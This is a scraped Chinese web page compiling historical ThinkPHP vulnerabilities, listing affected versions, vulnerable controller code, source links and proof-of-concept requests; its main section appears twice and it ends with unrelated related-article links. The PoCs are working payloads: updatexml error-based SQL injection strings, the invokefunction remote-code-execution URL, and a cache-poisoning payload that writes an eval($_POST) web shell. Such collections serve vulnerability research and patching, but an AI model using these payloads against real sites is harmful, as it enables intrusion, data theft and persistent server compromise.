https://github.com/pochubs/pochubs/blob/master/ThinkPHP.md tp 历史漏洞

路由控制類RCE
/think/App.php

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}

變量覆蓋RCE
/think/Request.php

if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);

SQL:
1.
漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。

$username = request()->get('username/a');
db('users')->insert(['username' => $username]);

2.
5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。

$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';

3.
ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)。ThinkPHP5全版本 。

$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
return 'select success

';

4.。漏洞影响版本: ThinkPHP=5.0.10 。

漏洞环境

$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
var_dump($result);

5.

漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22 。

$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();

6.
漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。

$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);

文件包含
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。

public function index()
{
  $this->assign(request()->get());
  return $this->fetch();

一、3.x

使用方法

cd /var/www/tp3

ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell

标题 ThinkPHP5.0.10-3.2.3缓存函数设计缺陷可导致Getshell
时间 2017-08-09
版本 <= 3.2.3
文章链接 https://xz.aliyun.com/t/99

ThinkPHP3.2.3_最新版update注入漏洞

标题 Thinkphp3.2.3最新版update注入漏洞
时间 2018-04-16
版本 <= 3.2.3
文章链接 https://www.anquanke.com/post/id/104847

ThinkPHP3.2.X_find_select_delete注入

标题 thinkphp3.2 find_select_delete注入
时间 2018-08-23
版本 <= 3.2.3
文章链接 https://xz.aliyun.com/t/2631
https://xz.aliyun.com/t/2629

ThinkPHP3.X_order_by注入漏洞

标题 ThinkPHP 3.X/5.X order by注入漏洞
时间 2018-08-29
版本 <= 3.2.3
文章链接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

二、5.x

使用方法

cd /var/www/tp5

ThinkPHP5_SQL注入漏洞&&敏感信息泄露

标题 ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
时间 2017-07-03
版本 < 5.0.9
文章链接 https://xz.aliyun.com/t/125 
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

测试方法

git checkout 02f8e8a

测试代码

public  function testsql()
{
$ids = input('ids/a');
$result = db('user')->where('id', 'in', $ids)->select();
var_dump($result);
}

POC

testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

结果

ThinkPHP5.0.10-3.2.3_缓存函数设计缺陷可导致Getshell

标题 ThinkPHP5.0.10-3.2.3 缓存函数设计缺陷可导致Getshell
时间 2017-08-09
版本 < 5.0.11
文章链接 https://xz.aliyun.com/t/99

测试方法

git checkout 094dde5

测试代码

public function add()
{
$user = input('post.');
$m=db('user')->where(['id'=> 1])->insert($user);
} public function cache()
{
$m = db('user')->select();
Cache::set('name',$m,3600);
}

POC

post data:
username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23
注:%2F%2F%0D%0A = //+回车

结果

其中文件路径和名称是 b0+68931cc450442b63f5b3d276ea4297 而

md5('name') = b068931cc450442b63f5b3d276ea4297

ThinkPHP框架5.0.X_sql注入漏洞分析

标题 ThinkPHP框架 5.0.x sql注入漏洞分析
时间 2018-04-09
版本 < 5.0.16
文章链接 https://xz.aliyun.com/t/2257

测试方法

git checkout 7c13757

测试代码

public  function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}

POC

testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

结果

ThinkPHP5.X_order_by注入漏洞

标题 ThinkPHP 3.X/5.X order by注入漏洞
时间 2018-08-23
版本 <= 5.1.22
文章链接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

测试方法

git checkout 35e9878

测试代码

public  function testsql()
{
$order = input('get.order');
$m = db('user')->order($order)->find();
var_dump($m);
}

POC

testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

结果

ThinkPHP5.X_远程代码执行

标题 ThinkPHP5.X 远程代码执行
时间 2018-12-10
版本 5.0.5-5.0.22
5.1.0-5.1.30
文章链接 https://xz.aliyun.com/t/3570
https://paper.seebug.org/760/
https://paper.seebug.org/770

测试方法

git checkout 4fefa5e

测试代码

public  function index()
{
//...无需实际代码
}

POC

index?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

结果

一、3.x

使用方法

cd /var/www/tp3

ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell

标题 ThinkPHP5.0.10-3.2.3缓存函数设计缺陷可导致Getshell
时间 2017-08-09
版本 <= 3.2.3
文章链接 https://xz.aliyun.com/t/99

ThinkPHP3.2.3_最新版update注入漏洞

标题 Thinkphp3.2.3最新版update注入漏洞
时间 2018-04-16
版本 <= 3.2.3
文章链接 https://www.anquanke.com/post/id/104847

ThinkPHP3.2.X_find_select_delete注入

标题 thinkphp3.2 find_select_delete注入
时间 2018-08-23
版本 <= 3.2.3
文章链接 https://xz.aliyun.com/t/2631
https://xz.aliyun.com/t/2629

ThinkPHP3.X_order_by注入漏洞

标题 ThinkPHP 3.X/5.X order by注入漏洞
时间 2018-08-29
版本 <= 3.2.3
文章链接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

二、5.x

使用方法

cd /var/www/tp5

ThinkPHP5_SQL注入漏洞&&敏感信息泄露

标题 ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
时间 2017-07-03
版本 < 5.0.9
文章链接 https://xz.aliyun.com/t/125 
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

测试方法

git checkout 02f8e8a

测试代码

public  function testsql()
{
$ids = input('ids/a');
$result = db('user')->where('id', 'in', $ids)->select();
var_dump($result);
}

POC

testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

结果

ThinkPHP5.0.10-3.2.3_缓存函数设计缺陷可导致Getshell

标题 ThinkPHP5.0.10-3.2.3 缓存函数设计缺陷可导致Getshell
时间 2017-08-09
版本 < 5.0.11
文章链接 https://xz.aliyun.com/t/99

测试方法

git checkout 094dde5

测试代码

public function add()
{
$user = input('post.');
$m=db('user')->where(['id'=> 1])->insert($user);
} public function cache()
{
$m = db('user')->select();
Cache::set('name',$m,3600);
}

POC

post data:
username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23
注:%2F%2F%0D%0A = //+回车

结果

其中文件路径和名称是 b0+68931cc450442b63f5b3d276ea4297 而

md5('name') = b068931cc450442b63f5b3d276ea4297

ThinkPHP框架5.0.X_sql注入漏洞分析

标题 ThinkPHP框架 5.0.x sql注入漏洞分析
时间 2018-04-09
版本 < 5.0.16
文章链接 https://xz.aliyun.com/t/2257

测试方法

git checkout 7c13757

测试代码

public  function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}

POC

testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

结果

ThinkPHP5.X_order_by注入漏洞

标题 ThinkPHP 3.X/5.X order by注入漏洞
时间 2018-08-23
版本 <= 5.1.22
文章链接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

测试方法

git checkout 35e9878

测试代码

public  function testsql()
{
$order = input('get.order');
$m = db('user')->order($order)->find();
var_dump($m);
}

POC

testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

结果

ThinkPHP5.X_远程代码执行

标题 ThinkPHP5.X 远程代码执行
时间 2018-12-10
版本 5.0.5-5.0.22
5.1.0-5.1.30
文章链接 https://xz.aliyun.com/t/3570
https://paper.seebug.org/760/
https://paper.seebug.org/770

测试方法

git checkout 4fefa5e

测试代码

public  function index()
{
//...无需实际代码
}

POC

index?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

结果

thinkphp历史漏洞的更多相关文章

  1. 记录 ThinkPHP 5.* 漏洞修复后的情况

    记录 ThinkPHP 5.* 漏洞修复后的情况 ThinkPHP 官方 2018-12-09 下午收到漏洞报告. 2018-12-09 晚上看到 Git 已经更新了,修复了漏洞. 2018-12-1 ...

  2. 整理了一下 ThinkPHP 历史

    整理了一下 ThinkPHP 历史 ThinkPHP 一款国内最流行的 PHP 开源框架.

  3. THINKPHP网站漏洞怎么修复解决

    THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查 ...

  4. 整理了一下 ThinkPHP 历史 (2019-07-01)

    整理了一下 ThinkPHP 历史 ThinkPHP 一款国内最流行的 PHP 开源框架. 版本 发布日期 最后更新日期 总天数 ThinkPHP(FCS) 0.6 2006-01-15 2006-0 ...

  5. Spring 历史漏洞复现

    1.Spring Security OAuth2.0 (CVE-2016-4977) 这个洞是由于Spring Security OAuth2.0的功能,在登录成功之后由于response_type不 ...

  6. Solr-rce历史漏洞复现

    最近Solr又出了一个RCE漏洞,复现了一下 # coding: utf-8 import requestsimport argparsefrom urllib import parse if __n ...

  7. phpMyAdmin历史漏洞复现

    简介 phpMyAdmin是一个非常受欢迎的基于web的MySQL数据库管理工具.它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等 复现三个古老漏洞 phpMyAd ...

  8. PHP代码审计基础-高级篇

    高级篇主要讲 1. 熟知各个开源框架历史版本漏洞. 2. 业务逻辑漏洞 3. 多线程引发的漏洞 4. 事务锁引发的漏洞 在高级篇审计中有很多漏洞正常情况下是不存在的只有在特殊情况下才有 PHP常用框架 ...

  9. ThinkPHP 3.1、3.2一个通用的漏洞分析

    Author:m3d1t10n 前两天看到phithon大大在乌云发的关于ThinkPHP的漏洞,想看看是什么原因造成的.可惜还没有公开,于是就自己回来分析了一下. 0x00官方补丁(DB.class ...

随机推荐

  1. spark error Caused by: java.io.NotSerializableException: org.apache.hadoop.hdfs.DistributedFileSystem

    序列化问题多事rdd遍历过程中使用了没有序列化的对象. 1.将未序列化的变量定义到rdd遍历内部.如定义入数据库连接池. 2.常量定义里包含了未序列化对象 ,提出去吧 如下常量要放到main里,不能放 ...

  2. 最长公共子窜和最长公共子序列(LCS)

    他们都是用dp做;复杂度都是O(N方) 有一个大佬的博客写的很详细,是关于最长公共子序列的:https://blog.csdn.net/hrn1216/article/details/51534607 ...

  3. SpringBoot事件监听机制源码分析(上) SpringBoot源码(九)

    SpringBoot中文注释项目Github地址: https://github.com/yuanmabiji/spring-boot-2.1.0.RELEASE 本篇接 SpringApplicat ...

  4. GitHub 热点速览 Vol.16:化身蒙娜丽莎和乔布斯对话

    摘要:妙趣横生,上周的 GitHub 热点的关键词.无论是让你化身为爱因斯坦开启会议脑暴模式 avatarify,还是和上周人人都是抠图师项目的同门项目 3D 照片修复:3d-photo-inpain ...

  5. 获取SVG中g标签的宽度高度及位置坐标

    1. 问题的出现 对于普通的HTML元素,有很多获得其宽度width.高度height.距左left.距顶top等属性的方法: 类似offsetWidth,clientWidth,width之类的,通 ...

  6. OSI 七层模型以及TCP/IP模型

    OSI 七层模型 定义 OSI(Open System Interconnection)即开放式系统互联通信参考模型.该模型是国际标准化组织(ISO)制定的一个用于计算机或通信系统间互联的标准体系,一 ...

  7. Spring Data REST不完全指南(一)

    简介 Spring Data REST是Spring Data项目的一部分,可轻松在Spring Data存储库上构建超媒体驱动的REST Web服务. Spring Data REST 构建在 Sp ...

  8. 【selenium】各种exception

    selenium中的Exception解释 exception selenium.common.exceptions.ElementClickInterceptedException(msg=None ...

  9. Problem F Free Weights

    二分答案. 思路:对于二分给定的mid,即当前允许移动的最大重量,我们可以把小于改重量的标记一下,然后把没有标记的按照顺序放到另一个数组,然后判断是否满足两两相同. #include<bits/ ...

  10. OkHttp 优雅封装 HttpUtils 之 上传下载解密

    曾经在代码里放荡不羁,如今在博文中日夜兼行,只为今天与你分享成果.如果觉得本文有用,记得关注我,我将带给你更多. 还没看过第一篇文章的欢迎移步:OkHttp 优雅封装 HttpUtils 之气海雪山初 ...